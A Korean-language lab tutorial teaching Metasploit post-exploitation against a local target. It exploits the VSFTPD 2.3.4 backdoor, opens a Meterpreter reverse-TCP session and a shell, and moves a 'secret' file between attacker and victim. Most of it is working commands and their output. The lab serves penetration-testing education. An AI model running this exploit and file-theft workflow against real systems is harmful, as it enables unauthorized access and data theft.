Metasploit 기본 사후 침투 (Post-Exploitation)

LinuxBeginner
지금 연습하기

소개

이 실습에서는 Metasploit 프레임워크를 사용한 사후 침투 (Post-Exploitation) 의 기초를 배웁니다. 먼저 취약한 FTP 서버를 공격하여 초기 접근 권한을 획득하고 Meterpreter 세션을 생성합니다. 그 후 사후 침투 단계로 넘어가 침투된 시스템을 탐색하고, 권한을 상승시키며, 데이터를 탈취하는 과정을 진행합니다.

Meterpreter 의 필수 명령어를 사용하여 세션과 상호작용하고, 셸 명령을 실행하며, 공격자와 피해자 시스템 간에 파일을 전송하는 연습을 하게 됩니다. 이 실습은 초기 공격부터 기본적인 사후 침투 기술까지 단계별로 안내합니다.

초기 접근 권한 획득

이 단계에서는 VSFTPD 2.3.4 서비스의 백도어를 공격하여 대상 시스템에 접근합니다. 이를 통해 사후 침투를 위한 Meterpreter 세션을 확보하게 됩니다.

먼저 Metasploit 프레임워크 콘솔을 실행합니다.

msfconsole -q

Metasploit 이 실행되면 VSFTPD 2.3.4 백도어 공격 모듈을 선택합니다.

use exploit/unix/ftp/vsftpd_234_backdoor

이제 대상 및 페이로드 옵션을 구성합니다. 서비스가 동일한 머신에서 실행 중이므로 루프백 IP 를 사용합니다. 기본 페이로드는 LHOST를 필요로 하며 "All encoders failed to encode" 오류가 발생할 수 있으므로, 이를 방지하기 위해 인코더를 설정합니다.

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

마지막으로 공격을 실행합니다.

exploit

문제 해결: Msf::OptionValidateError One or more options failed to validate: LHOST 오류가 발생하면 set LHOST 127.0.0.1을 실행하세요. All encoders failed to encode 오류가 발생하면 set Encoder generic/none을 실행한 후 다시 exploit을 실행하세요.

경고: 첫 번째 시도에서 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 또는 "Exploit completed, but no session was created."와 같은 오류가 발생할 수 있습니다. 이 경우 exploit 명령을 다시 실행하면 두 번째 시도에서 성공할 것입니다.

성공하면 Meterpreter 세션 (세션 1) 이 열립니다.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

이제 Meterpreter 세션을 확보했습니다. 다음 단계를 위해 msf > 프롬프트로 돌아가려면 Ctrl+Z를 누른 후 "Background session 1?"이라는 질문에 y를 입력하세요.

Meterpreter 세션과 상호작용

백그라운드에 Meterpreter 세션이 생성되었으므로, 이제 이 세션과 상호작용하는 방법을 배웁니다. sessions 명령은 활성 세션 목록을 보여주며, Meterpreter 내부가 아닌 메인 Metasploit 프롬프트 (msf exploit(...) >) 에서만 작동합니다.

활성 세션을 확인하려면 다음을 실행하세요.

sessions

ID 가 1인 Meterpreter 세션이 표시될 것입니다.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

세션 1 과 상호작용하려면 다음을 실행하세요.

sessions -i 1

프롬프트가 meterpreter >로 변경되어 세션 내부에 있음을 나타냅니다.

[*] Starting interaction with 1...

meterpreter >

이제 Meterpreter 내부에서 사후 침투 명령을 실행할 준비가 되었습니다.

shell 명령으로 셸 실행

Meterpreter 내부에서 표준 시스템 셸로 전환하여 대상 시스템에서 명령을 실행할 수 있습니다. 이는 셸 전용 명령이나 스크립트를 실행해야 할 때 유용합니다.

meterpreter > 프롬프트에서 다음을 입력하세요.

shell

원격 대상에 표준 셸이 열립니다. 프롬프트가 잠시 멈춘 것처럼 보일 수 있지만, 이제 시스템 셸에 진입했으므로 직접 명령을 실행할 수 있습니다.

Process 1654 created.
Channel 1 created.

whoami를 실행하여 현재 사용자 컨텍스트를 확인하세요.

whoami
labex

exit를 입력하여 Meterpreter 프롬프트로 돌아갑니다.

exit

프롬프트가 다시 meterpreter >로 변경됩니다. 다음 단계에서는 이 세션을 사용하여 대상 시스템에 파일을 업로드합니다.

upload 명령으로 파일 업로드

Meterpreter 의 upload 명령은 로컬 머신에서 대상 시스템으로 파일을 전송합니다. /home/labex/project 디렉토리에 local_file.txt라는 파일이 있습니다. 이를 원격 머신의 /tmp로 업로드하세요.

meterpreter > 프롬프트에서 다음을 실행하세요.

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

업로드가 완료되었음을 알리는 출력이 표시됩니다.

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

이 실습에서는 대상이 동일한 머신에서 실행 중이므로 파일이 /tmp/uploaded_file.txt에 나타납니다. 다음으로, 반대 작업인 대상 시스템에서 파일 다운로드를 연습합니다.

download 명령으로 파일 다운로드

download 명령은 대상 시스템에서 로컬 머신으로 파일을 전송합니다. 원격 시스템의 /tmpsecret_data.txt라는 파일이 있습니다. 이를 프로젝트 디렉토리로 다운로드하세요.

meterpreter > 프롬프트에서 다음을 실행하세요.

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

다운로드가 완료되었음을 알리는 출력이 표시됩니다. Meterpreter 는 downloaded_secret.txt라는 디렉토리를 생성하고 그 안에 secret_data.txt라는 이름으로 파일을 저장할 수 있습니다.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

이제 파일이 로컬 머신에 저장되었습니다. 마지막 단계에서는 세션을 종료하고 다운로드된 내용을 확인합니다.

exit 명령으로 세션 종료

마지막 단계에서는 Meterpreter 세션을 닫고 Metasploit 콘솔을 종료합니다.

meterpreter > 프롬프트에서 exit를 입력하여 세션을 닫습니다.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Metasploit 콘솔을 종료하려면 exit를 입력하세요. 활성 세션에 대한 메시지가 나타나면 exit -y를 사용하여 강제 종료합니다.

exit -y

다운로드된 파일을 확인합니다. 앞서 언급했듯이 Meterpreter 가 디렉토리를 생성했을 수 있으므로, 파일은 downloaded_secret.txt/secret_data.txt에 위치합니다.

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

축하합니다! 전체 공격 및 사후 침투 워크플로우를 성공적으로 완료했습니다.

요약

이 실습에서는 초기 접근부터 사후 침투까지의 전체 워크플로우를 학습했습니다. 공격을 통해 Meterpreter 세션을 획득하는 것으로 시작하여, 세션 목록 확인 및 상호작용 방법, Meterpreter 에서 표준 시스템 셸을 획득하는 방법, 그리고 uploaddownload 명령을 사용하여 공격자와 피해자 머신 간에 파일을 전송하는 방법을 익혔습니다. 마지막으로 세션을 올바르게 종료하고 Metasploit 콘솔을 나가는 방법을 배웠습니다. 이러한 기술은 모의 해킹의 기초가 됩니다.